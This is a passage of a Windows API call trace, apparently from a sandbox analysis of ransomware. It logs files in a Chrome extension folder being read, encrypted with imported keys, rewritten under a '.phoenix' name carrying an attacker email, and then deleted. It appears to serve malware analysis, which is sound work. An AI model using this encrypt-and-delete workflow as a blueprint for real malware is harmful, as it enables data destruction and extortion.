	[0262.364] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0262.364] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0262.364] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\images\\topbar_floating_button_maximize.png.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\images\\topbar_floating_button_maximize.png.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0262.364] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x1515c0) returned 1
	[0262.364] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0262.364] ReadFile (in: hFile=0x2c4, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xa6, lpOverlapped=0x0) returned 1
	[0262.365] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xb0, dwBufLen=0xb0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xb0) returned 1
	[0262.365] WriteFile (in: hFile=0x2c0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xb0, lpOverlapped=0x0) returned 1
	[0262.366] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151600) returned 1
	[0262.366] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0262.366] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x70, dwBufLen=0x70 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x70) returned 1
	[0262.366] CryptDestroyKey (hKey=0x151600) returned 1
	[0262.366] WriteFile (in: hFile=0x2c0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x122, lpOverlapped=0x0) returned 1
	[0262.383] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0262.383] CloseHandle (hObject=0x2c4) returned 1
	[0262.383] CloseHandle (hObject=0x2c0) returned 1
	[0262.383] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\images\\topbar_floating_button_maximize.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\images\\topbar_floating_button_maximize.png")) returned 1
	[0262.384] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0262.384] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\bg\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0262.386] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=886) returned 1
	[0262.386] CloseHandle (hObject=0x2c0) returned 1
	[0262.386] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\bg\\messages.json")) returned 0x20
	[0262.386] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\bg\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\bg\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.386] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\bg\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0262.386] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0262.386] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0262.386] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\bg\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\bg\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0262.387] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x1517c0) returned 1
	[0262.387] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0262.387] ReadFile (in: hFile=0x2c0, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x376, lpOverlapped=0x0) returned 1
	[0262.435] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x380, dwBufLen=0x380 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x380) returned 1
	[0262.435] WriteFile (in: hFile=0x2c4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x380, lpOverlapped=0x0) returned 1
	[0262.436] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x1510c0) returned 1
	[0262.436] CryptSetKeyParam (hKey=0x1510c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0262.436] CryptEncrypt (in: hKey=0x1510c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0262.436] CryptDestroyKey (hKey=0x1510c0) returned 1
	[0262.436] WriteFile (in: hFile=0x2c4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0262.436] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0262.436] CloseHandle (hObject=0x2c0) returned 1
	[0262.436] CloseHandle (hObject=0x2c4) returned 1
	[0262.436] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\bg\\messages.json")) returned 1
	[0262.437] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0262.437] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\ca\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\ca\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0262.437] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=705) returned 1
	[0262.437] CloseHandle (hObject=0x2c4) returned 1
	[0262.438] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\ca\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\ca\\messages.json")) returned 0x20
	[0262.438] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\ca\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\ca\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.438] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\ca\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\ca\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0262.438] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0262.438] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0262.438] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\ca\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\ca\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0262.438] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151380) returned 1
	[0262.438] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0262.439] ReadFile (in: hFile=0x2c4, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x2c1, lpOverlapped=0x0) returned 1
	[0262.448] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x2d0) returned 1
	[0262.448] WriteFile (in: hFile=0x2c0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x2d0, lpOverlapped=0x0) returned 1
	[0262.449] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151200) returned 1
	[0262.449] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0262.449] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0262.449] CryptDestroyKey (hKey=0x151200) returned 1
	[0262.449] WriteFile (in: hFile=0x2c0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0262.449] CryptDestroyKey (hKey=0x151380) returned 1
	[0262.449] CloseHandle (hObject=0x2c4) returned 1
	[0262.449] CloseHandle (hObject=0x2c0) returned 1
	[0262.449] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\ca\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\ca\\messages.json")) returned 1
	[0262.451] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0262.451] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\cs\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0262.451] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=663) returned 1
	[0262.451] CloseHandle (hObject=0x2c0) returned 1
	[0262.451] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\cs\\messages.json")) returned 0x20
	[0262.451] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\cs\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\cs\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.452] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\cs\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0262.452] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0262.452] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0262.452] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\cs\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\cs\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0262.452] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x1510c0) returned 1
	[0262.452] CryptSetKeyParam (hKey=0x1510c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0262.453] ReadFile (in: hFile=0x2c0, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x297, lpOverlapped=0x0) returned 1
	[0262.498] CryptEncrypt (in: hKey=0x1510c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x2a0, dwBufLen=0x2a0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x2a0) returned 1
	[0262.498] WriteFile (in: hFile=0x2c4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x2a0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x2a0, lpOverlapped=0x0) returned 1
	[0262.499] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151700) returned 1
	[0262.499] CryptSetKeyParam (hKey=0x151700, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0262.499] CryptEncrypt (in: hKey=0x151700, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0262.499] CryptDestroyKey (hKey=0x151700) returned 1
	[0262.499] WriteFile (in: hFile=0x2c4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0262.499] CryptDestroyKey (hKey=0x1510c0) returned 1
	[0262.499] CloseHandle (hObject=0x2c0) returned 1
	[0262.499] CloseHandle (hObject=0x2c4) returned 1
	[0262.499] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\cs\\messages.json")) returned 1
	[0262.500] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0262.500] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\da\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\da\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0262.501] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=642) returned 1
	[0262.501] CloseHandle (hObject=0x2c4) returned 1
	[0262.501] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\da\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\da\\messages.json")) returned 0x20
	[0262.501] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\da\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\da\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.501] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\da\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\da\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0262.501] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0262.501] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0262.501] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\da\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\da\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0262.502] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151280) returned 1
	[0262.502] CryptSetKeyParam (hKey=0x151280, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0262.502] ReadFile (in: hFile=0x2c4, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x282, lpOverlapped=0x0) returned 1
	[0262.516] CryptEncrypt (in: hKey=0x151280, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x290, dwBufLen=0x290 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x290) returned 1
	[0262.516] WriteFile (in: hFile=0x2c0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x290, lpOverlapped=0x0) returned 1
	[0262.516] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151500) returned 1
	[0262.516] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
